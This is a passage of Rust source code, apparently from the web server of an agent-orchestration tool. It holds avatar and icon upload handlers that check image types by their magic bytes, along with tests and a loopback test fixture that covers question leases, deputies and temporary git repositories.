10089fn svg_avatar(svg: &'static str) -> Response {
10090 (
10091 [
10092 (header::CONTENT_TYPE, "image/svg+xml"),
10093 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10094 (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10095 (header::CACHE_CONTROL, "no-cache"),
10096 ],
10097 svg,
10098 )
10099 .into_response()
10100}
10101
10102fn avatar_encode(value: &str) -> String {
10103 value
10104 .bytes()
10105 .map(|b| {
10106 if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10107 char::from(b).to_string()
10108 } else {
10109 format!("%{b:02X}")
10110 }
10111 })
10112 .collect()
10113}
10114
10115fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10117 let Some(id) = persona else {
10118 return home.join("avatars/operator.data");
10119 };
10120 let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10121 let mut path = home.join("avatars/personas");
10122 for chunk in encoded.as_bytes().chunks(100) {
10123 path.push(std::str::from_utf8(chunk).expect("hex"));
10124 }
10125 path.join("icon.data")
10126}
10127
10128fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10129 match read_icon_file(&avatar_setting_path(home, Some(id))) {
10130 Some(value) if value == "builtin" => Some(String::new()),
10131 Some(value) => Some(value),
10132 None => configured.map(str::to_owned),
10133 }
10134}
10135
10136fn operator_icon_url(home: &FsPath) -> String {
10137 format!(
10138 "/avatars/operator.svg?v={}",
10139 persona_icon::fingerprint(
10140 read_icon_file(&avatar_setting_path(home, None))
10141 .as_deref()
10142 .or(Some(persona_icon::operator_svg()))
10143 )
10144 )
10145}
10146
10147fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10148 let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10149 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10150 attachment_response(mime, bytes)
10151 }
10152 _ => svg_avatar(builtin),
10153 };
10154 response
10155 .headers_mut()
10156 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10157 response
10158}
10159
10160#[derive(Default, Deserialize)]
10161struct AvatarSettingsQuery {
10162 repo: Option<PathBuf>,
10163 persona: Option<String>,
10164 builtin: Option<String>,
10165 inherit: Option<String>,
10166}
10167
10168fn avatar_settings_specs(
10169 ui: &Ui,
10170 repo: Option<PathBuf>,
10171) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10172 let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10173 let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10174 .map(|cfg| cfg.talk.personas)
10175 .unwrap_or_default();
10176 Ok((repo, specs))
10177}
10178
10179fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10180 let Ok(entries) = std::fs::read_dir(path) else {
10181 return;
10182 };
10183 for entry in entries.flatten() {
10184 let name = entry.file_name().to_string_lossy().into_owned();
10185 if name == "icon.data" {
10186 let bytes: Option<Vec<u8>> = prefix
10187 .as_bytes()
10188 .chunks(2)
10189 .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10190 .collect();
10191 if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10192 out.push(id);
10193 }
10194 } else if name.len() <= 100
10195 && !name.is_empty()
10196 && name.bytes().all(|b| b.is_ascii_hexdigit())
10197 && entry.file_type().is_ok_and(|t| t.is_dir())
10198 {
10199 saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10200 }
10201 }
10202}
10203
10204async fn avatar_settings_get(
10205 State(ui): State<Arc<Ui>>,
10206 Query(q): Query<AvatarSettingsQuery>,
10207) -> ApiResult<Json<serde_json::Value>> {
10208 blocking(move || {
10209 let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10210 let mut catalog = persona::catalog(&specs);
10211 let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10212 let mut saved = Vec::new();
10213 saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10214 for id in saved {
10215 if !catalog.iter().any(|p| p.id == id) {
10216 catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10217 }
10218 }
10219 let personas: Vec<_> = catalog.iter().map(|p| {
10220 let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10221 let override_state = match saved.as_deref() {
10222 Some("builtin") => "builtin",
10223 Some(_) => "custom",
10224 None => "inherit",
10225 };
10226 let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10227 serde_json::json!({"id":p.id,"name":p.name,
10228 "override_state":override_state,"has_config_icon":p.icon.is_some(),
10229 "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10230 avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10231 }).collect();
10232 Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10233 }).await
10234}
10235
10236async fn settings_persona_avatar(
10237 State(ui): State<Arc<Ui>>,
10238 Query(q): Query<AvatarSettingsQuery>,
10239) -> ApiResult<Response> {
10240 blocking(move || {
10241 let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10242 let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10243 let found = persona::find(&specs, id);
10244 let icon =
10245 effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10246 Ok(raster_or_builtin(
10247 icon.as_deref().filter(|_| q.builtin.is_none()),
10248 persona_icon::builtin_svg(id),
10249 ))
10250 })
10251 .await
10252}
10253
10254fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10255 if q.persona
10256 .as_ref()
10257 .is_some_and(|p| p.is_empty() || p.len() > 4096)
10258 {
10259 return Err(ApiError::bad_request("invalid persona id"));
10260 }
10261 Ok(())
10262}
10263
10264async fn avatar_settings_put(
10265 State(ui): State<Arc<Ui>>,
10266 Query(q): Query<AvatarSettingsQuery>,
10267 Json(upload): Json<MagiIconUpload>,
10268) -> ApiResult<Json<serde_json::Value>> {
10269 blocking(move || {
10270 validate_avatar_target(&q)?;
10271 save_icon_file(
10272 &avatar_setting_path(&ui.home, q.persona.as_deref()),
10273 &upload.icon,
10274 )
10275 .map_err(ApiError::bad_request_from)?;
10276 Ok(Json(serde_json::json!({"saved":true})))
10277 })
10278 .await
10279}
10280
10281async fn avatar_settings_delete(
10282 State(ui): State<Arc<Ui>>,
10283 Query(q): Query<AvatarSettingsQuery>,
10284) -> ApiResult<Json<serde_json::Value>> {
10285 blocking(move || {
10286 validate_avatar_target(&q)?;
10287 let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10288 if q.persona.is_some() && q.inherit.is_none() {
10289 atomic_icon_write(&path, "builtin")?;
10290 } else {
10291 match std::fs::remove_file(path) {
10292 Ok(()) => (),
10293 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10294 Err(e) => return Err(anyhow::Error::from(e).into()),
10295 }
10296 }
10297 Ok(Json(serde_json::json!({"saved":true})))
10298 })
10299 .await
10300}
10301
10302fn magi_icon_path(home: &FsPath) -> PathBuf {
10304 home.join("magi-icon.data")
10305}
10306
10307fn read_magi_icon(home: &FsPath) -> Option<String> {
10308 read_icon_file(&magi_icon_path(home))
10309}
10310
10311fn read_icon_file(path: &FsPath) -> Option<String> {
10312 let metadata = std::fs::metadata(path).ok()?;
10313 if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10314 return None;
10315 }
10316 let file = std::fs::File::open(path).ok()?;
10317 use std::io::Read;
10318 let mut text = String::new();
10319 file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10320 .read_to_string(&mut text)
10321 .ok()?;
10322 if text.len() > persona_icon::ICON_MAX_BYTES {
10323 return None;
10324 }
10325 if text == "builtin" {
10326 return Some(text);
10327 }
10328 validate_uploaded_icon(&text).ok()?;
10329 Some(text)
10330}
10331
10332fn magi_icon_url(home: &FsPath) -> String {
10333 format!(
10334 "/avatars/magi?v={}",
10335 persona_icon::fingerprint(read_magi_icon(home).as_deref())
10336 )
10337}
10338
10339async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10340 Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10341}
10342
10343#[derive(Deserialize)]
10344struct MagiIconUpload {
10345 icon: String,
10346}
10347
10348fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10349 save_icon_file(&magi_icon_path(home), icon)
10350}
10351
10352fn validate_uploaded_icon(icon: &str) -> Result<()> {
10353 if !icon.starts_with("data:") {
10354 anyhow::bail!("upload a raster image");
10355 }
10356 let (mime, bytes) = persona_icon::load(icon)?;
10357 if sniffed_mime(&bytes) != Some(mime) {
10358 anyhow::bail!("image content does not match its type");
10359 }
10360 Ok(())
10361}
10362
10363fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10364 validate_uploaded_icon(icon)?;
10365 atomic_icon_write(path, icon)
10366}
10367
10368fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10369 let home = path.parent().expect("icon parent");
10370 std::fs::create_dir_all(home)?;
10371 let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10372 let temp = home.join(format!(".magi-icon-{token}.tmp"));
10373 let result = (|| -> Result<()> {
10374 use std::io::Write;
10375 let mut file = std::fs::OpenOptions::new()
10376 .write(true)
10377 .create_new(true)
10378 .open(&temp)?;
10379 file.write_all(icon.as_bytes())?;
10380 file.sync_all()?;
10381 std::fs::rename(&temp, path)?;
10382 Ok(())
10383 })();
10384 let _ = std::fs::remove_file(temp);
10385 result?;
10386 Ok(())
10387}
10388
10389async fn magi_icon_put(
10390 State(ui): State<Arc<Ui>>,
10391 Json(upload): Json<MagiIconUpload>,
10392) -> ApiResult<Json<serde_json::Value>> {
10393 blocking(move || {
10394 if !upload.icon.starts_with("data:") {
10395 return Err(ApiError::bad_request("upload a raster image"));
10396 }
10397 let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10398 if sniffed_mime(&bytes) != Some(mime) {
10399 return Err(ApiError::bad_request(
10400 "image content does not match its type",
10401 ));
10402 }
10403 save_magi_icon(&ui.home, &upload.icon)?;
10404 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10405 })
10406 .await
10407}
10408
10409async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10410 blocking(move || {
10411 match std::fs::remove_file(magi_icon_path(&ui.home)) {
10412 Ok(()) => (),
10413 Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10414 Err(e) => return Err(anyhow::Error::from(e).into()),
10415 }
10416 Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10417 })
10418 .await
10419}
10420
10421async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10422 let icon = (q.builtin.is_none())
10423 .then(|| read_magi_icon(&ui.home))
10424 .flatten();
10425 let mut response = match icon
10426 .as_deref()
10427 .and_then(|icon| persona_icon::load(icon).ok())
10428 {
10429 Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10430 attachment_response(mime, bytes)
10431 }
10432 _ => svg_avatar(persona_icon::magi_svg()),
10433 };
10434 response
10435 .headers_mut()
10436 .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10437 response
10438}
10439
10440async fn talk_avatar(
10445 State(ui): State<Arc<Ui>>,
10446 Path(id): Path<String>,
10447 Query(q): Query<AvatarQuery>,
10448) -> ApiResult<Response> {
10449 blocking(move || {
10450 let id = resolve_talk(&ui.talks, &id)?;
10451 let talk = ui.talks.get(&id)?;
10452 let wanted = q
10453 .persona
10454 .as_deref()
10455 .map(str::trim)
10456 .filter(|p| !p.is_empty())
10457 .unwrap_or(&talk.persona)
10458 .to_owned();
10459 let specs = match Config::discover(&talk.repo, None) {
10460 Ok((cfg, _)) => cfg.talk.personas,
10461 Err(e) => {
10462 tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10463 Vec::new()
10464 }
10465 };
10466 let found = persona::find(&specs, &wanted);
10467 let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10469 let icon = effective_persona_icon(
10470 &ui.home,
10471 &wanted,
10472 found.as_ref().and_then(|p| p.icon.as_deref()),
10473 );
10474 if found.is_none() && icon.is_none() {
10475 return Ok(builtin_avatar(persona::DEFAULT_ID));
10476 }
10477 let Some(icon) = icon
10478 .as_deref()
10479 .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10480 else {
10481 return Ok(builtin_avatar(&wanted));
10482 };
10483 let Some(found) = found else {
10484 return Ok(raster_or_builtin(
10485 Some(icon),
10486 persona_icon::builtin_svg(&wanted),
10487 ));
10488 };
10489 match persona_icon::load(icon) {
10490 Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10491 let mut res = attachment_response(mime, bytes);
10492 res.headers_mut().insert(
10493 header::CACHE_CONTROL,
10494 header::HeaderValue::from_static("no-cache"),
10495 );
10496 Ok(res)
10497 }
10498 Ok((mime, _)) => {
10499 tracing::warn!(
10500 "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10501 found.id
10502 );
10503 Ok(builtin_avatar(&found.id))
10504 }
10505 Err(e) => {
10506 tracing::warn!(
10507 "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10508 found.id
10509 );
10510 Ok(builtin_avatar(&found.id))
10511 }
10512 }
10513 })
10514 .await
10515}
10516
10517fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10528 if data.len() > ATTACHMENT_MAX_BYTES {
10529 return Err(ApiError::bad_request(format!(
10530 "attachment is {} bytes, over the {} MiB limit",
10531 data.len(),
10532 ATTACHMENT_MAX_BYTES / (1024 * 1024)
10533 ))
10534 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10535 }
10536 if data.is_empty() {
10537 return Err(ApiError::bad_request("attachment is empty"));
10538 }
10539 let declared = declared_mime(headers)?;
10540 match sniffed_mime(data) {
10541 Some(sniffed) if sniffed == declared => Ok(declared),
10542 Some(sniffed) => Err(ApiError::bad_request(format!(
10543 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10544 ))),
10545 None => Err(ApiError::bad_request(
10546 "the file's bytes do not match any accepted image format",
10547 )),
10548 }
10549}
10550
10551fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10555 let raw = headers
10556 .get(header::CONTENT_TYPE)
10557 .and_then(|v| v.to_str().ok())
10558 .unwrap_or("")
10559 .split(';')
10560 .next()
10561 .unwrap_or("")
10562 .trim()
10563 .to_ascii_lowercase();
10564 ATTACHMENT_MIME_WHITELIST
10565 .iter()
10566 .find(|&&m| m == raw)
10567 .copied()
10568 .ok_or_else(|| {
10569 if raw == "image/svg+xml" {
10570 ApiError::bad_request(
10571 "SVG is not accepted: it can carry active content (e.g. a <script>), \
10572 not just a picture",
10573 )
10574 } else if raw.is_empty() {
10575 ApiError::bad_request("Content-Type is required for an attachment upload")
10576 } else {
10577 ApiError::bad_request(format!(
10578 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10579 image/gif or image/webp"
10580 ))
10581 }
10582 })
10583}
10584
10585fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10588 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10589 Some("image/png")
10590 } else if data.starts_with(b"\xff\xd8\xff") {
10591 Some("image/jpeg")
10592 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10593 Some("image/gif")
10594 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10595 Some("image/webp")
10596 } else {
10597 None
10598 }
10599}
10600
10601fn filename_header(headers: &HeaderMap) -> String {
10607 headers
10608 .get(FILENAME_HEADER)
10609 .and_then(|v| v.to_str().ok())
10610 .map(str::trim)
10611 .filter(|s| !s.is_empty())
10612 .unwrap_or("attachment")
10613 .to_owned()
10614}
10615
10616fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10623 let content_type = ATTACHMENT_MIME_WHITELIST
10624 .iter()
10625 .find(|&&m| m == mime)
10626 .copied()
10627 .unwrap_or("application/octet-stream");
10628 (
10629 [
10630 (header::CONTENT_TYPE, content_type),
10631 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10632 ],
10633 body,
10634 )
10635 .into_response()
10636}
10637
10638async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10646 let repo = repo.to_path_buf();
10647 blocking(move || {
10648 let (cfg, _) = Config::discover(&repo, None)?;
10649 Ok(cfg)
10650 })
10651 .await
10652}
10653
10654fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10660 let mut hits = ids
10661 .into_iter()
10662 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10663 match (hits.next(), hits.next()) {
10664 (Some(one), None) => Ok(one),
10665 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10666 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10667 "`{prefix}` matches more than one {what}, including {a} and {b}"
10668 ))),
10669 }
10670}
10671
10672#[cfg(test)]
10673mod tests {
10674
10675 #[test]
10676 fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10677 let dir = tempfile::tempdir().unwrap();
10678 let store = ask::Questions::at(dir.path().join("questions"));
10679 let mut q = Question::new(
10680 "task".to_owned(),
10681 "conduct".to_owned(),
10682 "conduct".to_owned(),
10683 "choose".to_owned(),
10684 String::new(),
10685 vec!["keep".to_owned()],
10686 );
10687 q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10688 q.say("why?").unwrap();
10689 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10690 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10691 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10692 store.put(&mut q).unwrap();
10693 assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10694 assert_eq!(store.count_needs_owner(), 1);
10695 store.beat(&q.id, ask::WaiterKind::Deputy);
10696 assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10697 assert_eq!(store.count_needs_owner(), 0);
10698 let mut stale = store.read_lease(&q.id).unwrap();
10699 stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10700 std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10701 let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10702 assert!(view.deputy_exhausted);
10703 assert!(view.waiting_on_agent);
10704 assert_eq!(view.question.choices, ["keep"]);
10705 store.drop_lease(&q.id);
10706 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10707 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10708 }
10709
10710 #[test]
10711 fn holder_reads_the_lease_not_the_record() {
10712 let mut q = Question::new(
10713 "run".to_owned(),
10714 "implement".to_owned(),
10715 "impl-A".to_owned(),
10716 "which?".to_owned(),
10717 String::new(),
10718 Vec::new(),
10719 );
10720 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10721 q.cwd = Some("/tmp".to_owned());
10722 assert_eq!(holder_of(&q, None), Some("nobody"));
10723 let beat = |kind, ago: i64| ask::Lease {
10724 kind,
10725 pid: 1,
10726 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10727 .unwrap(),
10728 };
10729 let fresh = beat(ask::WaiterKind::Asker, 1);
10730 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10731 let daemon = beat(ask::WaiterKind::Daemon, 1);
10732 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10733 let stale = beat(ask::WaiterKind::Asker, 3600);
10734 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10735
10736 let mut c = Question::new(
10739 "task".to_owned(),
10740 crate::conduct::NODE.to_owned(),
10741 "conduct".to_owned(),
10742 "which?".to_owned(),
10743 String::new(),
10744 Vec::new(),
10745 );
10746 assert_eq!(holder_of(&c, None), Some("nobody"));
10747 c.cwd = Some("/tmp".to_owned());
10748 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10749 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10750 let deputy = beat(ask::WaiterKind::Deputy, 1);
10751 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10752 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10753
10754 let mut r = Question::new(
10756 String::new(),
10757 crate::bump::NOTICE_NODE.to_owned(),
10758 "release-watch".to_owned(),
10759 "stuck?".to_owned(),
10760 String::new(),
10761 vec!["hold".to_owned()],
10762 );
10763 assert_eq!(holder_of(&r, None), Some("nobody"));
10764 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10765 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10766 r.deputy = None;
10768 r.seat = "bump".to_owned();
10769 assert_eq!(holder_of(&r, None), None);
10770
10771 let mut m = Question::new(
10774 "run".to_owned(),
10775 crate::land::APPROVAL_NODE.to_owned(),
10776 "land".to_owned(),
10777 "merge?".to_owned(),
10778 String::new(),
10779 Vec::new(),
10780 );
10781 assert_eq!(holder_of(&m, None), Some("nobody"));
10782 assert_eq!(
10783 holder_of(&m, Some(&fresh)),
10784 Some("asker"),
10785 "a live explicit wait is a listener even before a deputy is attached"
10786 );
10787 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10788 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10789 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10790 assert_eq!(holder_of(&m, None), Some("nobody"));
10791 }
10792
10793 fn stub_config() -> Config {
10794 Config {
10797 agents: vec![crate::config::AgentSpec {
10798 id: "stub".to_owned(),
10799 kind: AgentKind::Command,
10800 model: None,
10801 command: vec!["true".to_owned()],
10802 extra_args: Vec::new(),
10803 env: Default::default(),
10804 prompt_delivery: None,
10805 max_turn_secs: None,
10806 }],
10807 ..Config::default()
10808 }
10809 }
10810
10811 fn plain_question(seat: &str) -> Question {
10812 Question::new(
10813 String::new(),
10814 "n".to_owned(),
10815 seat.to_owned(),
10816 "s".to_owned(),
10817 String::new(),
10818 Vec::new(),
10819 )
10820 }
10821
10822 #[test]
10823 fn deputies_enabled_follows_the_config() {
10824 let on = stub_config();
10825 assert!(crate::deputy::can_start(Some(&on), ""));
10826 assert!(crate::deputy::can_start(Some(&on), "stub"));
10827 let mut off = on.clone();
10828 off.daemon.max_deputies = 0;
10829 assert!(!crate::deputy::can_start(Some(&off), ""));
10830 let mut empty = on;
10831 empty.agents.clear();
10832 assert!(!crate::deputy::can_start(Some(&empty), ""));
10833 assert!(!crate::deputy::can_start(None, ""));
10834 }
10835
10836 #[test]
10837 fn question_views_load_the_config_once() {
10838 let dir = TempDir::new().unwrap();
10839 let store = ask::Questions::at(dir.path().to_path_buf());
10840 let mut with_deputy = plain_question("b");
10841 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10842 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10843
10844 let calls = std::cell::Cell::new(0usize);
10845 let views = question_views(qs.clone(), &store, || {
10846 calls.set(calls.get() + 1);
10847 Some(stub_config())
10848 });
10849 assert_eq!(calls.get(), 1);
10850 assert_eq!(views.len(), 3);
10851 for (v, q) in views.iter().zip(&qs) {
10852 assert_eq!(
10853 v.deputies_enabled,
10854 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10855 );
10856 }
10857
10858 let views = question_views(qs, &store, || None);
10859 assert!(views.iter().all(|v| !v.deputies_enabled));
10860
10861 let calls = std::cell::Cell::new(0usize);
10862 let views = question_views(Vec::new(), &store, || {
10863 calls.set(calls.get() + 1);
10864 None
10865 });
10866 assert!(views.is_empty());
10867 assert_eq!(calls.get(), 0);
10868 }
10869
10870 use pretty_assertions::assert_eq;
10871 use serde_json::Value;
10872 use tempfile::TempDir;
10873 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10874
10875 use super::*;
10876 use crate::config::Config;
10877 use crate::queue::Source;
10878
10879 const SETTLE_STEPS: usize = 3_000;
10890
10891 struct Fixture {
10897 home: TempDir,
10898 addr: SocketAddr,
10899 }
10900
10901 impl Fixture {
10902 async fn start() -> Self {
10903 Self::with_loop(launch_idle).await
10904 }
10905
10906 async fn with_loop(launch: Launch) -> Self {
10908 let home = TempDir::new().expect("temp home");
10909 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10910 Self { home, addr }
10911 }
10912
10913 async fn with_repo(repo: PathBuf) -> Self {
10917 let home = TempDir::new().expect("temp home");
10918 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10919 Self { home, addr }
10920 }
10921
10922 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10925 let home = TempDir::new().expect("temp home");
10926 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10927 Self { home, addr }
10928 }
10929
10930 async fn serve(
10931 home: &FsPath,
10932 repo: PathBuf,
10933 launch: Launch,
10934 machine: Option<PathBuf>,
10935 ) -> SocketAddr {
10936 let queue = Queue::at(home.join("queue"));
10937 let runs = home.join("runs");
10938 std::fs::create_dir_all(&runs).expect("runs dir");
10939 let worktrees = home.join("wt").join("magi");
10940 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10941 let ui = Ui::new(
10942 queue,
10943 Questions::at(home.join("questions")),
10944 Talks::at(home.join("talks")),
10945 runs,
10946 home.to_path_buf(),
10947 repo,
10948 )
10949 .with_worktrees_root(worktrees)
10950 .with_machine_config(machine)
10951 .with_launch(launch);
10952 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10953 .await
10954 .expect("bind loopback");
10955 let addr = listener.local_addr().expect("local addr");
10956 tokio::spawn(async move {
10957 let router = ui
10958 .router()
10959 .layer(axum::middleware::from_fn(request_cost::observe));
10960 let _ = axum::serve(listener, router).await;
10961 });
10962 addr
10963 }
10964
10965 fn queue(&self) -> Queue {
10966 Queue::at(self.home.path().join("queue"))
10967 }
10968
10969 fn questions(&self) -> Questions {
10970 Questions::at(self.home.path().join("questions"))
10971 }
10972
10973 fn talks(&self) -> Talks {
10974 Talks::at(self.home.path().join("talks"))
10975 }
10976
10977 fn runs(&self) -> PathBuf {
10978 self.home.path().join("runs")
10979 }
10980
10981 async fn get(&self, path: &str) -> Res {
10982 request(self.addr, "GET", path, None).await
10983 }
10984
10985 async fn head(&self, path: &str) -> Res {
10990 request(self.addr, "HEAD", path, None).await
10991 }
10992
10993 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10994 request(self.addr, "POST", path, body).await
10995 }
10996
10997 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10998 request_with(self.addr, "GET", path, None, extra).await
10999 }
11000
11001 async fn delete(&self, path: &str) -> Res {
11002 request(self.addr, "DELETE", path, None).await
11003 }
11004
11005 async fn put(&self, path: &str, body: &str) -> Res {
11006 request(self.addr, "PUT", path, Some(body)).await
11007 }
11008
11009 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11011 request_bytes(self.addr, path, headers, body).await
11012 }
11013 }
11014
11015 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11018 let tmp = TempDir::new().unwrap();
11019 let mut repos = Vec::new();
11020 for name in ["one", "two"] {
11021 let repo = tmp.path().join(name);
11022 let origin = tmp.path().join(format!("{name}.git"));
11023 std::fs::create_dir_all(&repo).unwrap();
11024 crate::git::git(&repo, &["init", "-b", "main"])
11025 .await
11026 .unwrap();
11027 std::fs::write(
11028 repo.join("magi.toml"),
11029 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11030 )
11031 .unwrap();
11032 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11033 crate::git::git(
11034 &repo,
11035 &[
11036 "-c",
11037 "user.name=fixture",
11038 "-c",
11039 "user.email=fixture@example.invalid",
11040 "commit",
11041 "-m",
11042 "fixture",
11043 ],
11044 )
11045 .await
11046 .unwrap();
11047 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11048 .await
11049 .unwrap();
11050 crate::git::git(
11051 &repo,
11052 &["remote", "add", "origin", origin.to_str().unwrap()],
11053 )
11054 .await
11055 .unwrap();
11056 crate::git::git(&repo, &["push", "origin", "main"])
11057 .await
11058 .unwrap();
11059 crate::git::git(
11060 &repo,
11061 &[
11062 "symbolic-ref",
11063 "refs/remotes/origin/HEAD",
11064 "refs/remotes/origin/main",
11065 ],
11066 )
11067 .await
11068 .unwrap();
11069 let (cfg, _) = Config::discover(&repo, None).unwrap();
11070 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11071 repos.push(repo);
11072 }
11073 let repos: [PathBuf; 2] = repos.try_into().unwrap();
11074 (tmp, repos)
11075 }
11076
11077 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11078 let (tmp, repos) = performance_repositories().await;
11079 let machine = tmp.path().join("machine.toml");
11080 std::fs::write(&machine, "").unwrap();
11081 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11082 (tmp, repos, fx)
11083 }
11084
11085 fn seed_performance(
11086 fx: &Fixture,
11087 repos: &[PathBuf; 2],
